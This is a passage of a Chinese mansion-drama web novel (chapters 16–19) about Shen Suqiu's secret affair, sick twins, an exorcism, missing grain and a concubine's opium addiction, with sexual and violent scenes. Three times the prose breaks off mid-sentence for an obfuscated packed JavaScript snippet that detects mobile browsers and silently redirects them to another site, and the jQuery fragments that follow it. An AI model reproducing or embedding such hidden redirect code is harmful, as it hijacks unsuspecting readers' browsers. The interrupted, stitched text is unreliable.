“我觉得，周相他可以。”雪樵看了眼沈素秋，递出个“你信我”的眼神，“老爷看人的眼光，那是毒火里淬过的。你们忘了当年他捅死那匹汗血宝驹的事了？试问有几个仆人情急当前，能够不顾性命地保护东家安全？他既能舍命相护，肯定也绝非贪图蝇头小利之人。怕他偷粮，那就额外多给他批些日用吃食就好了，他额外多一份守夜的差事，消耗得多，吃得自然也比别人多，也算是老爷夫人的恩惠了，你们觉得呢？” 傅如芸眼中流露出赞许，她隐约有些埋怨自己忽略了这个三房，平时看着冷冰冰的，偶尔说出些话来倒是在理。 见要商讨的事已经敲下定论，如芸也无意再多留各位。她正要叫散众人，却见适才一言不发的凤霞已泪流满面。 沈素秋和钟雪樵也有些懵了，要知道，平日里商讨家事，二房是最热情的一个。今天一句话不说，还哭上了，身为大房的如芸忙差人送上帕子给她擦泪。 “到底怎么了？”如芸看她这般伤心，抬眼叫散了其他不相干的仆人。 只见凤霞哀哀戚戚道：“午后姆妈来报，景明和景和又发烧了，来来回回十多天了，再这么烧下去，脑袋都要烧熟了.......” 她越说越难过，伏在如芸肩头，痛哭起来。 “还没好吗？” 沈素秋想起先前凤霞让自己帮忙埋人时提到一嘴孩子生病的事，那时她还以为是二房故意托辞，竟没想到这是真的，还烧了这么久，真是罪过。 “郎中请了□□回了，具体什么病也说不上来。回回喂下药刚见好，不到半天又烧起来.......我这个做娘的实在没办法了.......” “这么严重，你怎么不早说？” 如芸有些责备，但更多的是心疼。 “走，带我们一起去看看。” 四房人领着十来个丫头婆子，打着七八盏灯笼，往景明景和所在的居所赶。沿途妖风四起，后花园里群芳乱簇，碎花叶子铺了一地，更显阴凄。 傅如芸揽着凤霞的手，一边哄慰着这位伤心的母亲，一边快步往池子那头赶。 结果途经一处门楼时，听到一阵异响。 那是男女欢爱的呻.吟，极柔，极媚。 众人身上立刻挑起一身冷汗，大太太如芸面色涨紫，听得门楼另一侧的温灵莺歌燕语道：“难为你每天来找我，你慢点脱，看我这回不把你吃空。” 16.第十六捧麦 “最近府里的野猫儿可真多。” 管家爷提着灯，照了照门楼方向。里头人兴许听到动静，立马停止了呻.吟。 大太太如芸拂了拂袖，“先去看景明景和，你们都给我记住了，今晚的事谁都不许说！” 这话是说给其余几房听的，也是说给门楼里的温灵和伙夫听的。沈素秋不明白，为什么大太太没有当即发难。但很快，她在第二天早起时就听见霞飞苑的丫鬟婆子们谝闲传，说昨晚上大太太看完景明小少爷和景和小姐之后，秘密宣召了四房的温灵。两人在房中说了许久的话，四太太出宛陶居时天都快亮了。 有眼细的人发现她手臂上布满了鞭痕。 周铁生还是如老爷所愿，成为了守粮队的头目。由他管理马房几个年纪相当的壮汉作为帮手，俨然一副新官上任的气势。他找回了些三年前的风采。 要知道，曾经他在邱守成身边也是仅次于管家爷的存在，现在虽说大不如前，但镇守粮仓乃府中要差，晨昏交接时难免要和宪兵队的那些兵鲁子打交道，他们喜欢周铁生刚正耿直的性子，周铁生很快混成了男人堆里的红人。 凭着身任要职的几分薄面以及先前五十戒尺的责罚，他和沈素秋之间也不用像之前那样刻意避嫌。两人时不时也会打个照面，都规规矩矩，并无暧昧，府里有些人很快放宽心来。 这一日，沈素秋正想将纳好的几双鞋送到温灵那儿去，听说她又病了，不吃不喝地在造梦居里待着，十来天都没出门。 沈素秋心里记挂，想着看完她之后再去看看二房，不想出门撞见周铁生抱着一袋米迎面向自己走来。 她迅速调了个头，转身太急，身体骤然失衡。就在跌下地的那一瞬间，周铁生丢开怀中大米，如一块可靠的山岩般，扶住了女人。 沈素秋一时慌乱，别过头去，于是被拽得更紧了。 “米撒了。” 她瞅了眼四下，示意此处不宜说话。 周铁生先将撒下的米一粒粒捡了，放在廊下，随后跟着沈素秋溜进了一处暗角。 “你可真是想死我了！” 男人不由分说，抱着女人的脸，用力亲了一口。 不少脂粉蹭在他的嘴唇上，让他的铁青色胡渣也混入些俏皮的蜜桃色，像是酒后的红晕。 沈素秋一脸愤怒地捶了过去，“你少来占我便宜！” 周铁生嬉皮笑脸道：“上回跟你独处，还是回门的时候，你前些日子托人送的鸡蛋，我都吃了，我觉得......再好吃都没你可口.......” 他露出几分急哄哄的欲.色。 沈素秋故意刺他说：“你总是这样，不如他会哄人。” 男人立刻垮了脸，“你既觉得我不如他，又干嘛给我送鸡蛋。一边勾引我，一边推开我。” 沈素秋无言以对。 “承认吧，你心里恨我是一回事，有我也是一回事。” 男人牵起她的手，放到自己脸上，让她抚触自己的胡渣。 “你这个死女人，不知怜惜我，我有的是人怜惜。” 周铁生恶狠狠地甩开她的手，露出几分顽童的神色。 “谁能看得上你？” 沈素秋一声冷笑。 “你别不当真！”周铁生转过身，露出认真的表情：“我现在跟宪兵队的人混成了一片，他们有的是家姐家妹给我介绍。不妨告诉你，我明天就要出府去相看，听说那女子打杭州来，柔情似水，身段比那个羊羔卷还软。比你这犟脾气的死女人好多了！” “好啊，我看你是屁股里插鸡毛，要飞上天了，”沈素秋冷冰冰地睥了他一眼，嘴皮子蠕蠕地动，“看个粮仓看出国库的感觉了。芝麻大点的小官儿恨不得长个尾巴来摇。就你这骚.情样，我手底下的老妈子都看不上！” “你——！” 周铁生气急败坏。 “好好好，你要这么说，我非得找个比你更好的。” 沈素秋未置可否，两人就此不欢而散。 沈素秋看着某人气冲冲离去的背影，知他多半是气话，她回味着刚刚触碰到的男人胡须，怪扎手的，扎得她心里直发毛，全是小洞洞。洞里流出喜悦、羞赧又有些愤恨的泉水。她想起两人第一次做那事时，面对男人袒胸赤膊的胴.体，她惊奇地发现，居然有人似豪猪一般，在胸口也会有一束怪异的毛。 “心乖乖，我听人说，这是桃源地，只能让自己心爱的女人摸。” 周铁生在烛光下充满自信地展示着自己浑厚的肌肉，和自己引以为傲的旺盛毛发。他视自己的雄性特征为最得意之处。 早年间没与沈素秋在一起时，媒婆总将他那一身壮硕的牛力气和□□里饱满的驴货，作为优点说给那些说亲的姑娘家听。这两点暗示着这个男人不仅在炕间有盘活她们的能力，也有在外营生的蓬勃资本。 他拉着女人的手，慢慢引导到胸口，沈素秋觉得他的皮肤好热，好烫，皮下的骨骼像是在燃烧。 刚刚也是这样，周铁生在燃烧。燃烧的周铁生就是一块烧红的铁，轻轻一碰就要烙下血印。 她走过去，拾起刚刚男人没捡干净的米，放在手心里，鬼使神差地笑了。 造梦轩里乌烟瘴气一片。 温灵自上次被如芸约谈之后，又出现了跟之前一样的病状。她抓着沈素秋的手，大叫着房里有鬼，还是那个被她打死的丫头，这次还多了一个死去的五姨太。 沈素秋有了些惺惺相惜的巧合感，想起送丫头入葬那天，在戚园也看到了五房的身影。这些天她没再来找过自己，原来是跑去纠缠温灵了。沈素秋阴恻恻地想，是否是五房从那枉死的丫头身上看到了自己，所以附在了她身上，又多次出现在温灵的眼里。 她认为有必要再请一次大法官。 “景和前夜吐黄水了，”沈素秋还没走进去，就听到一对婆子边走边讲，“景明昨晚上断了气，过了一会又通了，神神乎乎的，二太太的眼睛都哭肿了，真是可怜天下父母心。” 沈素秋捂口进门，防止药气入鼻。厚重的帘幔里，那对小兄妹呼吸艰难地躺在小床上，还在昏迷。侧边厢房里，十几个小灶锅上炖满了鹿茸、大芸、蟾酥，气味交织在一起，串成大团迷烟。 “看来得从其他地方使使劲了。” 话一出口，凤霞就知道沈素秋什么意思。 “姐姐难道还不明白，这病医来医去，医到最后，医的是心。” 凤霞擦了擦泪，见她态度诚恳，引她去前厅说话。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15229860|164821||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“不瞒你说，我刚刚从四房那里过来，自从上次那丫头死了以后，你不觉得府中就怪事一桩接着一桩？” 沈素秋刻意压低声音，营造神秘。 “四房倒不用说了，疯疯癫癫的，大庭广众下干那事……可景明景和还那么小……没准就是被脏东西缠上了。” “你是说……？” “我不敢说。” 沈素秋拍了拍她的手，“姐姐，还是请人来看看吧。” 她没把在戚园遇到老五的事说给二房的人听。她之所以没自己叫大法官，而是推使二房去叫，不单是为了温灵和景明景和，也是为了她自己。 沈素秋怕再不稍加遏制，老五的怨气真的会溢出那口井。她现在还只是活动在造梦轩，没准之后活动的范围会越来越大。你可别怪我呀，回去路上沈素秋一路求爷告奶——你真的不是我害死的，也可能是我害死的，我不知道你心里怎么想的，但你千万别来缠上我。 五姨太死于一场疟疾。 说是疟疾，其实沈素秋看到过，她脚上都是鞭痕，和温灵身上一样，一样的鞭痕。 邱府流传着截然不同的另一个版本：五房因长期拒绝老爷的亲近而遭到虐杀。原因是她在入府前就已心悦一位男子，两人情投意合约定一起私奔，正巧被候在门房的一队人逮了个正着。 这对青年男女都遭到了非人的折磨。他们被拖进沤肥池里，嘴巴里塞满粪水，男的被挖去双眼、砍去双足，□□的那东西也一并斫下。女的则被骑木驴、点天灯，乳.头上穿满毒针。当然这些都只是些虚无缥缈的嘈传，只是沈素秋更倾向于它是真的。 沈素秋嫁进进邱府的那天，正好是五姨太被抬出去的日子。 她乘着花轿，挑起帘子远远瞧了眼，轿子停下来，新娘子自己走到洞房前。老管家和几个仆人正在过道边清洗着地砖上的血。一伙人秘而不宣地抬着担架，将担架上的人遮得严严实实，飞快往后门走。 有风吹过，替自己掀起白布一角。布料下是一双布满鞭痕的双脚，脚背上布满了血痂，还能看到蛆虫在破露的伤口里爬进爬出。 沈素秋险些吐了。 她后来才知道那是五姨太。她到现在都不知道她具体因为什么而死。 “那你自责什么呢？” 雪樵问她，“不管她出于什么原因死的，都跟你没关系呀。” 沈素秋说，“我只是觉得，为什么我来了，她就死了。她为什么不前一天死，后一天死，非要在我嫁进来的那一天死？我觉得是我的到来压死了她心里最后一根稻草。她或许是听到府里又要纳新姨太了，明白这事它永远都没个头。明白如果邱守成长生不死，那么他身边的太太永远只会多不会少，死了一个还会再补上一个.......悲愤之下，老五撒手人寰……雪樵，我是不是想太多了？” “我理解你的意思。”钟雪樵捏了捏她的手，冷冷的，像尸体一样。 “对了，你还记得五房叫什么吗？” “不记得了。” “我也不记得了。” “那你知道吗？” “我不知道。” “我也不知道。” 这就对了。 没人会铭记一朵花的坠落。 17.第十七捧麦 坐实周铁生相看女子发生在一个清凉的午夜，他在粮仓入口的树荫下围着篝火，和一起守夜的爷们炫耀脚上的新鞋。 “看看这针脚、这料子，那得倾注了多少姑娘家的心思，刺破多少次人家的纤纤小手～” 男人们哈哈大笑，从那双鞋里看到一个女人的贤惠、贞静和巧心。周铁生像一只凯旋的芦花鸡般穿着那双鞋走来走去，他说，“我自认为这是我这辈子穿过最舒服的鞋，比上次府里发的那双更好更轻！” 这话很快传到了路过的沈素秋的耳里。 她看着男人满面红光而不自知的模样，手里帕子快要被绞烂。这个夯货！居然真找了女子来相看，还收了人家的礼物，大肆宣张。她眼珠一转，很快找到还击这个男人的办法。 第二天大早张少尉又来了，他几乎每天都会亲自上府监查那些兵差的情况。这支精锐小队曾跟随少尉参与过二虎守长安的彪悍战役，更在二期北伐中有过卓越贡献。 常年混迹硝烟弥漫的军营战地，这些男人习得一身不拘小节的酒肉粗气，须得有人管教。从前在营里不能无所忌惮，但在邱府，一个个难免泡软了骨头，重拾起那些投骰抓牌、酗酒凶架的恶习。 沈素秋早早捧了一只绣包候在通往粮仓的必经之路上，张少尉穿着军装走来，身姿笔挺，轩然霞举。女人低着头，左左右右寻觅，一脸焦灼。 少尉停下步问：“太太这是........？” 沈素秋嘤嘤作泣，“怪我自己粗心，不小心弄丢了出嫁时带进府的一只绣荷包。那是我童年玩伴留给我的念想，竟被我这个二懵子给搞丢了........” 少尉动容不已，“年少情谊，重比泰山。太太重情重义，我既然遇到就不会坐之不理。” 说着让身后两个兵差上四周帮忙寻找，不一会儿，绣包失而复得。 “多谢少尉.......”沈素秋福了一福，含苞待放道：“少尉大恩大德，我无以为报。” 张少尉摆摆手说：“君子当为人解忧，太太不用放在心上。” 两人四目相缠，气息交杂，这一切完好地落在树后的周铁生眼里。 夜里男人将女人压在身下，掐住她的脖颈，眼睛似要喷火。 “你这个不知检点的臭女人！”周铁生气得浑身冒烟，“有夫家还勾搭男人，我看你是跟四房混久了，也学得一身的妖气！” “你也知道我是有夫家的人？”沈素秋五指交错地牵住他那只发抖的手，只觉他越是气势汹汹，越是在虚张声势，“那你这又是在干什么？勾引有夫之妇？” 周铁生又被她给堵得不知道说什么好了，这刁妇，口舌比嫁人前更让人讨嫌。 “我只是让人家少尉大人帮我寻个绣包.......” 沈素秋话没说完，被男人一口吸上，粗糙的双唇裹住自己的小嘴，一口呛鼻的酒气直插胸肺。 “你疯啦？！” 女人奋力推开眼前这个不知分寸的登徒子，抹了抹嘴唇上的血渍，疼得想掉眼泪。 “我倒要尝尝，你这么能说，这舌头是不是也比之前更滑溜！” 周铁生捏住她的脸，将她像泥团儿似的这么揉。 “你真不要脸！” 沈素秋说，“只许你四处相看，收别人的礼，不许我跟爷们多说两句话，天下没有这样的道理！” “我从不跟女人讲道理！” 周铁生竭力压制着音量，还是不敢将愤怒表现得太过声张，“我告诉你，你这个呆驴，那是我嫂子给我纳的！” “放你娘的屁！” 沈素秋毫不留情地怼了回去，“你一个孤儿哪来的嫂子？就算是你认的，谁又能保证你两没点什么？是嫂子又怎么了？你连主人太太都敢碰，勾搭个嫂子不是手拿把掐的事？” “你——！” 男人快要气晕了过去。 “好你个沈素秋，好你个六姨太啊！你真是会踩我心坎上，回回把我心踩烂！” 周铁生扶在柱子上，甩腿蹬开脚上的那双鞋。 “我不穿行了吧？！我现在就拿回去烧了！” “穿不穿是你的事，烧不烧也随便你。”沈素秋撇了撇嘴，口吻淡淡：“只是下次再这样强亲我，我一定打烂你的嘴。” ........ ........ 沈素秋的嘴巴整整疼了三天，到了第四天，被咬破的那块皮才稍稍见好。在一同和雪樵去拜谒大太太的路上，她笑着说，这入夏就是容易上火，看我这口疮肿得，连口红擦不了了。 雪樵揶揄不语，笑了一笑，拉着她往宛陶居走。 大太太还是同意了二房凤霞请法官入府作法的提议。同样不光是为了景明和景和，还有温灵。 这些天沈素秋也依稀听到一些传言，说温灵的病情也愈发严重。起初只是茶饭不思、神色呆滞，到后来口流涎水、呓语连连。再到最后，公然游荡在府中上下，坦.胸露.乳，抓着爷们的手一个劲痴笑。前半夜还自个儿爬上屋顶，拿着把剪刀在屋脊上逛来逛去、鬼叫连天，管家爷找了七八个人把她拖了下来，灌了瞌睡药，这才止住她疯癫不一的举止。 看来是真有脏东西滋扰人心了。 沈素秋站在房门口，看见两个孩子并排躺在拔步床上，月光透过窗棂，落在他们脸上，像覆了层白蜡。 原本圆俏可爱的双生子，如今面颊凹陷，眼窝泛着毛玻璃般的青灰色。凤霞依偎在姆妈怀里，不敢直视，昏昏沉沉的温灵也被一起带到了这里，他们手腕上各系着一条红绳，绳结处挂着个纯金打造的铃铛。 “烦请先生开坛设法，驱退阴邪，还我邱家太平。” 大太太如芸捻珠拨串，命丫鬟将事先沾了鸡血的黄表纸交到法官手中。 这一次她们邀请的是如芸娘家的一位更加声名显赫的法官，据说当年傅如芸的亲爹仕途不顺，连遭贬斥，是这位法官通天会意，逆转官运，不出三月，傅家老爷便连升两品，一时风光无二，传得神乎其技。 后母戊方鼎中升起苏合香的青烟，法官将放在三牲六畜贡品上的炁符一一揭下，以朱砂水浸泡，再贴到三人的人中处，门外刮起一阵邪风。 “阿弥陀佛.......” 大太太如芸退出宅屋，对着西天佛祖的方向拜了拜。沈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15232375|164821||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 素秋突然觉得很好笑，辟邪诛妖是道教所为，她却一心向佛。由此可见，即便出身高贵如傅如芸，被困在这深宅大院里久了，也有些抓不着慰藉便乱抓一气的慌乱了。 “回禀太太们，四姨太醒了。” 来报的丫头带了凤霞一眼，支支吾吾道：“但小姐少爷还是.......” 凤霞面色更冷。 “既然醒了，就先把她带到隔壁屋躺着，免得过了病气给孩子。” 沈素秋跟着众人往旁边厢房走。刚进门，温灵就被丫鬟婆子扶到了床上。她刚醒来不久，看着还是有些恍惚，不过比刚刚丢魂落魄的样子好了好多，至少看上去像个人了。 “我跟你们说，我又看到了老五.......我又看到了老五哇........她在门口喊我过去吃饭！” “我说我不饿，你自己去吧。她一定要我来，说你不来，是不是嫌弃她的饭？现在外面那么多人都吃不饱肚子，你有什么好嫌弃的？” “我还是不愿意去，她便强拉着我跟她去，她把我摁在蒸笼前，笑嘻嘻地对我说，四姐，你想先吃景明还是景和.......？” 在场人无不惊悸。 “是谁要吃我的孩子？！是谁？！”凤霞一听到两人的名字，怕得眼泪直流，“是老五要吃我的孩子？！她为什么要吃我的孩子？！” “来人，”如芸捂了捂心口，吩咐道：“先把二房带下去。” 凤霞就这样被生拉硬拽地拖了出去。 又听温灵继续讲，“然后老五打开了那个蒸笼，扫着上面的雾气，说这里有人舌、人脸、人髓、人骨.......每层蒸笼里都不一样，她一一拿箸挑到了我碗里，我不肯吃，她就摁住我的头，死命撕开我的嘴，往我喉咙里灌.......” 她终于说不下去了，两眼一翻，又哭又吐。 酸水流了一地，菜渍米粒糊了女人一嘴，再不复从前华贵美艳。 滴滴答答的尿便从女人腿.间流了下来，一股排泄物的臊臭味散开在屋子里。沈素秋忙捏住鼻，跟着一群人逃到屋外，屋内只剩几名老妈子在清理打扫。 “夫人，我的景明景和该怎么办？” 凤霞还堵在院子里，迟迟不肯离去。 “法官刚做完法，先观察两天吧。”如芸也没了办法，她神色悻悻道，“也只能这样了。” “你没事吧？” 沈素秋从凤霞处一出来，看见素来稳当的雪樵脚底一滑，险些摔了去。 “你看看你，路都不会走了，不知道的还以为你跟我一样跛了腿呢。” 她企图用玩笑消解横贯在两人间的悒郁，怎知雪樵的脸色更加难看。 “你信这世上有鬼吗？”雪樵问她。 “不信。”她说，“但就像我跟二房说的那样，医到最后，医的是心。是我让凤霞去找法官的，我不是为了景明和景和，是为了她。也是为了我自己。” “你自己？” “对，”沈素秋点点头，“帮二太太料理那个被温灵打死的丫头时，我在戚园见到了老五。但最稀奇的不是遇到了她，我还遇到了个更重要的人。” 18.第十八捧麦 “什么更重要的人？”雪樵越听越觉着糊涂，“我怎么从来没听你说起过？” “你先听我讲，”沈素秋清了清嗓，小声道，“那天我埋那丫头的时候，后来又看到草里躲了个人。我以为又是什么不干净的东西，让周铁生拿了竿子捅了出来。结果你猜是谁？是那丫头从前交好的一个共事。她哭着对我说，她朋友不是被温灵打死的，温灵的确把她打得很严重，但不足以让她断气。我问她是不是知道些什么，她却怎么都不肯说了........” “你的意思是，那丫头........”雪樵一屁股靠在了墙上，像被抽干了精气，“她是被其他人弄死的？” “那么会是谁？” 雪樵瞟来瞟去，各处猜忌。 “大房........二房？还是老爷的意思.......？！” “这我就不知道了，”沈素秋说，“不过也不重要了。” “所以——”她诚实地说，“我不信这世上有鬼，只因人有时比鬼更可怕。” ........ ........ 一连数日赤日炎炎，早先龙王节前后的几场雨像是把老天预支透了，整个夏天热得狗都合不拢嘴。 下人房里的冰绿豆汤从一碗升供到三碗，只因每天都有人累倒在日头底。死人倒是无所谓，主要是死了之后还要挖坑、埋身，个中成本比之一碗凉汤要昂贵许多。周铁生的粮差事业随气温蒸蒸日上，他很快得到了张少尉的赏识，还说要介绍他进宪兵队当兵差，只是还差些请示没批，周铁生有了些盼头，也更有底气在某人面前摇摆。 忙跳脚的是沈素秋。 不比周铁生的蜜里调油，她最近快要被府中事务给烦透了。大房懒得打理，二房忙着照顾一双儿女，三房冷淡惯了，更别说四房。那么府中一应琐事只好担在自己身上。 起初沈素秋也不大愿意接手，傅如芸特意将她叫到跟前，劝了许久，她夸素秋伶俐，见她处理一些小事有模有样，慢慢也将府中大小事务一一放权给她。 到六月底，沈素秋已成邱府名正言顺的掌事人。有管家爷在旁提点，整个邱府得以正常运转。 傅如芸把家务丢给六房后，整天泡在佛堂里，一泡泡一天。沈素秋察觉到府中上下的微妙，主人家求神拜佛寻求慰藉，下面人庸庸碌碌浑然不觉。到领发月俸那天，那伙子丫鬟仆从还各个心悦得很，全然没有意识到金玉其外的邱府已经出现坍塌的细痕。 “汪驴，半斗。” “陈二壮，半斗。” “李长顺，半斗。” ....... “周铁生，一斗。” 管家爷宣读着名册，将分装好的小麦放到男人手上。每喊一个人，沈素秋身边的贴身丫鬟就在名册上画个圈。 沈素秋坐在一张梨木椅上，看着下人们拎着各自的粮食喜滋滋地走出门去。如今饥荒横行，粮可抵资，邱府从半年起就改用小麦玉米顶替细软银钞，粮食已成为民间流通的第二大货币。 “今儿依托各位爷儿姐们儿的卖力做活，不曾嫌我这个管家新手第一次经办月俸发放。要是有什么不周到的地方，各位哥儿姐儿、老少爷们的也都多多包涵，其他的我就不多说了，如果没有什么禀报的，就先退了吧。” “禀六太太，”人群中一人举起手来，“我有话要说。” 沈素秋洗耳恭听状。 “这月底盘点粮仓时，天字号地室里，少了约七十斗米面。按往月鼠虫啃咬的自然折损来算，怕是有鼠王作祟。也不知是什么样的老鼠能吃下这海量的米面，烦请太太裁断。” 沈素秋面色一寒，不禁坐直了身。 天字号室.......那不就是邱守成从湘西运来的那一批粮货？那批粮草来之不易，每日宪兵队和自家仆守两班轮换日夜不迭地看着，这要是出了纰漏，张少尉难免要追问。 “往月折损有多少？” “约不过三斗。” “入夏之后，可有按规驱虫除鼠？” “每月三次，从未遗漏。” “那就奇了怪了，”沈素秋心绪渐乱，“没头没脑的，怎么会少这么多？难不成天字号室的老鼠们真成了精，十天消去的量比一个人半年吃得还多？” “天字号管事，上来讲话。” 周铁生赫然出列，单膝跪在沈素秋跟前。 “这事你知不知道？” “小的知道。” “知道为什么不说？” “小的想先自个儿摸查一番。”周铁生振振有词，“不瞒六姨太，我怀疑镇守粮仓的爷们堆里，有内鬼偷粮。” 周围顿起哗然。 “府里几个爷们都是用了多年的老人儿，知根知底，轻易不敢冒险。” 周铁生双手撑地，拜下身去。 “你的意思是说，不是你们干的，是宪兵队的人咯？” 沈素秋不由哂笑。 “那么我想问周相一句，人家宪兵队自有军队的粮草司发放月俸，为什么要偷咱们的呢？” “人心不足蛇吞象。”男人义正言辞，“听外管事的兄弟说，如今外头一斤麦抵八两金。粮价直比窜天炮，没人会嫌手上的粮多。” “我懒得跟你废话。” 沈素秋站起身来，扶着丫鬟的手走到他面前，抬起他下巴，“七天之内，给我个答复，不然我就只能请张少尉亲自来盘查了。他在军中的手段你是知道的，到时候闷不出个响屁，自有你这个管事的苦头吃！” “都听清楚了吗？！” 沈素秋沉声一吼，堂下众人抖了三抖。大家伙齐刷刷跪在女人面前，原本洋溢着欢庆和喜悦的屋子立马一片阒寂。 沈素秋支着那只跛脚，头也不回地走了出去。 “哎呦，这可怎么办呀你说这.......” 毛五先替周铁生着急起来。 “要是真让宪兵队的人知道这事，你可真就死定了。” 他看着周铁生一副不紧不急的样子，心中更加焦灼。 “你啷个不说话？” 周铁生弹了弹水烟袋，道，“搞毛毬咧。真抓不到人大不了挨一顿打，我皮实在，又不是没挨过。” “你这才是说的毛毬话！” 毛五赏了个板栗给他，一脸作怪道，“那宪兵队是干嘛的，那是总督手底下刀山火海里趟过来的，他们腰上的快枪一枪就能要了你小命，丢粮比丢命重要，你这条驴命还抵不过人家两斗米咧。” “莫慌嘛。”周铁生反过头来安慰他，像是早有了盘算，“今天才第一天，谁输谁赢还不一定呢。” 明月独上西楼，月如钩。 寂寞梧桐，深院锁素秋。 沈素秋被困顿在一摞厚厚的账本山里，一笔一笔对着白天发出去的粮货。她召集了府上常驻的四位账房先生，围烛夜坐，渴望做平天字号仓那笔亏空的粮账。 直到现在，她都奢望是账面上出了错，而非真的丢粮。七十斗绝非小数目，就算把她和周铁生身上的肉都割了卖了，都补不全这笔亏空。 雪樵命人端了百合枣仁汤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15240503|164821||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来，内加石菖蒲与犀角粉，提神醒脑、宁心止忘。 书页声哗啦作响，沈素秋对着账目深深地叹了口气，她皱眉道：“我已经尽力了，雪樵，你说我该怎么办？” “你本来就是被赶鸭子上架，这事怨不得你。”钟雪樵将热汤亲自端到她面前，吹了吹，“来喝了它，我盯着火候，熬了好久了。” 沈素秋看着钟雪樵的脸，会心地笑了。 “我总是在想，如果我是个男人，这辈子一定非你不娶。” “这么多先生都在呢。”雪樵害羞地低下了脸，“要娶也是我娶你，我看呀，除了老爷，就没人能摁得住你这性子。” 被琐事纠缠一天的沈素秋难得有了几句清闲的玩笑，她烦请先生们先看着，自己去隔壁歇歇，随后跟雪樵一起去了偏厅说话。 “周铁生那边怎么说？” 钟雪樵近身半步：“他说用不着你操心，就算真查不出来，大不了他自个儿去顶罪，绝不连累你。” “他以为自己的命很值钱？”沈素秋恨得牙痒痒，“十个周铁生都补不上这笔债。他就是个二杆子货！” “我觉得你还是先别操心这个了，”雪樵似乎还有话要说，声音压得更小了，“丢粮的事自有他去查，我觉得还有件事你有必要知道。” “温灵？” 钟雪樵点了点头。 “她又怎么了？” “我也是下午才知道这事，”钟雪樵附在她耳边，“管园子的几个花匠入夏后翻种新花籽，刨地时在造梦轩外的围墙根底下，发现了烧了大半的罂.粟壳。罂.粟是什么，想必不用我多说了吧？四房她.......” 果然该来的还是来了。 沈素秋神色一黯，垂下了眸。 “府中禁食大烟，这你我是知道的。但不妨碍有人偷种罂.粟，自研生鸦片食用。看样子，量是不多。我逼问了造梦轩的几个丫鬟，顺藤摸瓜找到了那些罂.粟，已命人悉数毁去，这事大房还不知道.......我也不知道该这么办，想先来问问你........” 沈素秋犯起了偏头疼。 “这个四姨太.......” 一时之间，她竟不知该说些什么好了。 “老爷对大烟深恶痛绝，家规里明令写着，凡触涉大烟者，别说吸，光是碰一下，都要砍其双手。这个温灵.......她胆子可真大。” “听底下人说，已经大半月有余了。” 钟雪樵把知道的一切都告诉了她。 “罂.粟去年秋天前就种下了，今年六月初刚结果。据说四房种它，最开始并非为了做大烟，而是为了治她长期的痢疾。” “痢疾？”沈素秋觉得这个女人越挖越有料，“罂粟能治赤白泻痢不假，只是她好端端的怎么会有痢疾，还是长期痢疾？” “这就更有说头了，”雪樵面色一凉，怅然道：“她长久以来都在服用避子汤药。这汤药性凶猛，伤及肠胃，于是引发痢疾反复。她之所以一直不敢公然叫郎中，就是怕引来周围人怀疑，暴露自己长期痢疾的事，这事一查，自然会查到避子汤上去。她从一开始就不想给邱守成生孩子.......” 两人异口同声地叹了口气。 “都是可怜人。” 两人得出结论。 “原本想着能够拯救自己的罂.粟，现在却成了推向自己滚入深渊的鬼手。” 沈素秋由衷发出感叹。 “我不这么觉得，”钟雪樵说，“你怎么知道，那些罂.粟没有拯救现在的她呢？” 19.第十九捧麦 话音刚落，门外传来一阵急促的脚步声。 管家爷少有地失了态，小跑进门道：“大事......大事不好了........四房出事了！” 沈素秋赶忙放下手中账簿，和雪樵匆匆往四姨太住处赶。人还没到，就远远望见一群丫鬟仆从聚在造梦轩门前，将整座房子围得水泄不通。院子里头也站满了人。 大太太如芸站在人堆前，面若金刚，不发一语。 她身前是一对衣不蔽体的男女，男的是灶房拉风箱的伙夫，女的....... 女的是四房太太温灵。 沈素秋走近一瞧，见温灵满脸泪痕，坐在地上又哭又笑。她衣领大敞，露出一抹艳红的肚兜，下身的裙摆成了一地碎布条子，手里还拽着一柄长笛似的烟枪。 “夫人.......夫人身上还有烟吗........”温灵拉着她的宽袖，泫然欲泣，“给我........我要烟.......给我点烟吧……” 下人堆里议论如沸，周铁生也在其中，沈素秋和他堪堪对视了一眼。 “你们谁有烟.......哪个有烟？” 她战战栗栗地伸出那只枯手，向围观的下人们挨个讨要过去。 “你们身上谁有大烟？给我.......给我大烟.......把你们的大烟全部都给我！” 众人吓得退避三尺。 “真的是疯了。”如芸面色平静，但眼神早已深恶痛绝：“且不论你又被人撞见通奸下人，现在居然还染上了这糟烂玩意儿........你........” 她抬起手，巴掌迟迟不忍落下。 “我看天王老子来了都救不了你！” 如芸收回蓄力的巴掌，转过身去，看都懒得再看她一眼。 “来人，按家规处置。先把这爷们给我吊起来！” 